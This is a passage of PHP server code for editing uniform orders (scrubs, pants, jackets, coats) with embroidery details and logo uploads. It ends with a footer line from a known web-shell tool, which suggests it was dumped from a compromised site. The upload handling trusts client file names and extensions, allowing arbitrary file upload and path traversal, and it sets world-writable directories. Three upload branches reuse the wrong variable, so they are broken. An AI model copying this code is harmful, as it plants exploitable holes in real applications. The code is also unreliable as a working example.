    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);
}

function editOrder($order_id)
{
    $order_bean = R::load('order', $order_id);
    $order_bean->gender = isset($_POST['order_gender']) ? $_POST['order_gender'] : "";
    $order_bean->name = isset($_POST['order_name']) ? $_POST['order_name'] : "";
    $order_bean->firstLastname = isset($_POST['order_firstLastname']) ? $_POST['order_firstLastname'] : "";
    $order_bean->secondLastname = isset($_POST['order_secondLastname']) ? $_POST['order_secondLastname'] : "";
    $order_bean->specialty = isset($_POST['order_specialty']) ? $_POST['order_specialty'] : "";
    $order_bean->hospital = isset($_POST['order_hospital']) ? $_POST['order_hospital'] : "";
    $order_bean->area = isset($_POST['order_area']) ? $_POST['order_area'] : "";
    $order_bean->mail = isset($_POST['order_mail']) ? $_POST['order_mail'] : "";
    $order_bean->phone = isset($_POST['order_phone']) ? $_POST['order_phone'] : "";
    $order_bean->status = isset($_POST['order_status']) ? $_POST['order_status'] : $order_bean->status;
    $order_bean->dateEdit = date("Y-m-d");
    mkdir("/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id, 0777, true);

    if (isset($_FILES['order_scrubLogo_image'])) {
        $scrubLogo_image = isset($_FILES['order_scrubLogo_image']) ? $_FILES['order_scrubLogo_image'] : NULL;
        if (!empty($scrubLogo_image)) {
            $extension = pathinfo($scrubLogo_image['name'], PATHINFO_EXTENSION);
            $ruta_destino_archivo = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $scrubLogo_image['name'];
            $origin = "Ruta y nombre del archivo: " . $scrubLogo_image['tmp_name'];
            $save = "Ruta y nombre del destino: " . $ruta_destino_archivo;
            $archivo_ok = move_uploaded_file($scrubLogo_image['tmp_name'], $ruta_destino_archivo);
            $scrubLogo_image = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $scrubLogo_image['name'];
            $order_bean->scrubLogo_image = $scrubLogo_image;

        }

    }

    if (isset($_FILES['order_pantsLogo_image'])) {
    $pantsLogo_image = isset($_FILES['order_pantsLogo_image']) ? $_FILES['order_pantsLogo_image'] : NULL;
        if (!empty($pantsLogo_image)) {
            $extension = pathinfo($pantsLogo_image['name'], PATHINFO_EXTENSION);
            $ruta_destino_archivo = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $pantsLogo_image['name'];
            $origin = "Ruta y nombre del archivo: " . $pantsLogo_image['tmp_name'];
            $save = "Ruta y nombre del destino: " . $ruta_destino_archivo;
            $archivo_ok = move_uploaded_file($scrubLogo_image['tmp_name'], $ruta_destino_archivo);
            $pantsLogo_image = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $pantsLogo_image['name'];
            $order_bean->pantsLogo_image = $pantsLogo_image;

        }
    }

    if (isset($_FILES['order_jacketLogo_image'])) {
        $jacketLogo_imagee = isset($_FILES['order_jacketLogo_image']) ? $_FILES['order_jacketLogo_image'] : NULL;
        if (!empty($jacketLogo_imagee)) {
            $extension = pathinfo($jacketLogo_imagee['name'], PATHINFO_EXTENSION);
            $ruta_destino_archivo = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $jacketLogo_imagee['name'];
            $origin = "Ruta y nombre del archivo: " . $jacketLogo_imagee['tmp_name'];
            $save = "Ruta y nombre del destino: " . $ruta_destino_archivo;
            $archivo_ok = move_uploaded_file($scrubLogo_image['tmp_name'], $ruta_destino_archivo);
            $jacketLogo_imagee = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $jacketLogo_imagee['name'];
            $order_bean->jacketLogo_image = $jacketLogo_imagee;

        }
    }

    if (isset($_FILES['order_coatLogo_image'])) {
        $coatLogo_image = isset($_FILES['order_coatLogo_image']) ? $_FILES['order_coatLogo_image'] : NULL;
        if (!empty($coatLogo_image)) {
            $extension = pathinfo($coatLogo_image['name'], PATHINFO_EXTENSION);
            $ruta_destino_archivo = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $coatLogo_image['name'];
            $origin = "Ruta y nombre del archivo: " . $coatLogo_image['tmp_name'];
            $save = "Ruta y nombre del destino: " . $ruta_destino_archivo;
            $archivo_ok = move_uploaded_file($scrubLogo_image['tmp_name'], $ruta_destino_archivo);
            $coatLogo_image = "/data/html/domik-general/uploads/" . $order_bean->user . "/" . $order_id . "/" . $coatLogo_image['name'];
            $order_bean->coatLogo_image = $coatLogo_image;

        }
    }

    // filipina

    $order_bean->scrubQty = (isset($_POST['order_scrubQty'])) ? $_POST['order_scrubQty'] : 0;
    $order_bean->scrubModel = (isset($_POST['order_scrubModel'])) ? $_POST['order_scrubModel'] : "";
    $order_bean->scrubSize = (isset($_POST['order_scrubSize'])) ? $_POST['order_scrubSize'] : "";
    $order_bean->scrubColor = (isset($_POST['order_scrubColor'])) ? $_POST['order_scrubColor'] : "";
    $order_bean->scrubLogo = (isset($_POST['order_scrubLogo'])) ? $_POST['order_scrubLogo'] : "";
    $order_bean->embroid_scrub = (isset($_POST['order_embroid_scrub'])) ? $_POST['order_embroid_scrub'] : "";
    $order_bean->embroid_scrub_text = (isset($_POST['order_embroid_scrub_text'])) ? $_POST['order_embroid_scrub_text'] : "";
    $order_bean->embroid_scrub_position =  (isset($_POST['order_embroid_scrub_position'])) ? $_POST['order_embroid_scrub_position'] : "";
    $order_bean->embroid_scrub_font = (isset($_POST['order_embroid_scrub_font'])) ? $_POST['order_embroid_scrub_font'] : "";
    $order_bean->embroid_scrub_fontColor = (isset($_POST['order_embroid_scrub_fontColor'])) ? $_POST['order_embroid_scrub_fontColor'] : "";

    // pantalones

    $order_bean->pantsQty = (isset($_POST['order_pantsQty'])) ? $_POST['order_pantsQty'] : 0;
    $order_bean->pantsModel = (isset($_POST['order_pantsModel'])) ? $_POST['order_pantsModel'] : "";
    $order_bean->pantsSize = (isset($_POST['order_pantsSize'])) ? $_POST['order_pantsSize'] : "";
    $order_bean->pantsColor = (isset($_POST['order_pantsColor'])) ? $_POST['order_pantsColor'] : "";
    $order_bean->pantsLogo = (isset($_POST['order_pantsLogo'])) ? $_POST['order_pantsLogo'] : "";
    $order_bean->embroid_pants = (isset($_POST['order_embroid_pants'])) ? $_POST['order_embroid_pants'] : "";
    $order_bean->embroid_pants_text = (isset($_POST['order_embroid_pants_text'])) ? $_POST['order_embroid_pants_text'] : "";
    $order_bean->embroid_pants_position =  (isset($_POST['order_embroid_pants_position'])) ? $_POST['order_embroid_pants_position'] : "";
    $order_bean->embroid_pants_font = (isset($_POST['order_embroid_pants_font'])) ? $_POST['order_embroid_pants_font'] : "";
    $order_bean->embroid_pants_fontColor = (isset($_POST['order_embroid_pants_fontColor'])) ? $_POST['order_embroid_pants_fontColor'] : "";

    // chamarra

    $order_bean->jacketQty = (isset($_POST['order_jacketQty'])) ? $_POST['order_jacketQty'] : 0;
    $order_bean->jacketModel = (isset($_POST['order_jacketModel'])) ? $_POST['order_jacketModel'] : "";
    $order_bean->jacketSize = (isset($_POST['order_jacketSize'])) ? $_POST['order_jacketSize'] : "";
    $order_bean->jacketColor = (isset($_POST['order_jacketColor'])) ? $_POST['order_jacketColor'] : "";
    $order_bean->jacketLogo = (isset($_POST['order_jacketLogo'])) ? $_POST['order_jacketLogo'] : "";
    $order_bean->embroid_jacket = (isset($_POST['order_embroid_jacket'])) ? $_POST['order_embroid_jacket'] : "";
    $order_bean->embroid_jacket_text = (isset($_POST['order_embroid_jacket_text'])) ? $_POST['order_embroid_jacket_text'] : "";
    $order_bean->embroid_jacket_position = (isset($_POST['order_embroid_jacket_position'])) ? $_POST['order_embroid_jacket_position'] : "";
    $order_bean->embroid_jacket_font = (isset($_POST['order_embroid_jacket_font'])) ? $_POST['order_embroid_jacket_font'] : "";
    $order_bean->embroid_jacket_fontColor = (isset($_POST['order_embroid_jacket_fontColor'])) ? $_POST['order_embroid_jacket_fontColor'] : "";

    // bata

    $order_bean->coatQty = (isset($_POST['order_coatQty'])) ? $_POST['order_coatQty'] : 0;
    $order_bean->coatModel = (isset($_POST['order_coatModel'])) ? $_POST['order_coatModel'] : "";
    $order_bean->coatSize = (isset($_POST['order_coatSize'])) ? $_POST['order_coatSize'] : "";
    $order_bean->coatColor = (isset($_POST['order_coatColor'])) ? $_POST['order_coatColor'] : "";
    $order_bean->coatLogo = (isset($_POST['order_coatLogo'])) ? $_POST['order_coatLogo'] : "";
    $order_bean->embroid_coat = (isset($_POST['order_embroid_coat'])) ? $_POST['order_embroid_coat'] : "";
    $order_bean->embroid_coat_text = (isset($_POST['order_embroid_coat_text'])) ? $_POST['order_embroid_coat_text'] : "";
    $order_bean->embroid_coat_position = (isset($_POST['order_embroid_coat_position'])) ? $_POST['order_embroid_coat_position'] : "";
    $order_bean->embroid_coat_font = (isset($_POST['order_embroid_coat_font'])) ? $_POST['order_embroid_coat_font'] : "";
    $order_bean->embroid_coat_fontColor = (isset($_POST['order_embroid_coat_fontColor'])) ? $_POST['order_embroid_coat_fontColor'] : "";

    $order_bean->total = $order_bean->coatQty+$order_bean->jacketQty+$order_bean->pantsQty+$order_bean->scrubQty ;

    if (isset($_POST['order_partial'])){

        $order_bean->partial = $_POST['order_partial'];
        $order_bean->partialEditDate = date("Y-m-d");

    }

    R::store($order_bean);



    $data['order'] = $order_bean;
    $error_code        = 0;
    $error_description = 'Success.';
    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);

}

function editOrderStatus($order_id)
{
    $order_bean = R::load('order', $order_id);
    $order_bean->status = isset($_POST['order_status']) ? $_POST['order_status'] : $order_bean->status;
    $order_bean->dateEdit = date("Y-m-d");

    if (isset($_POST['order_partial'])){

        $order_bean->partial = $_POST['order_partial'];
        $order_bean->partialEditDate = date("Y-m-d");

    }

    R::store($order_bean);

    $data['order'] = $order_bean;
    $error_code        = 0;
    $error_description = 'Success.';
    $data['error']           = array("code" => $error_code, "description" => $error_description);

    echo json_encode($data, JSON_UNESCAPED_UNICODE);

}





Youez - 2016 - github.com/yon3zu
LinuXploit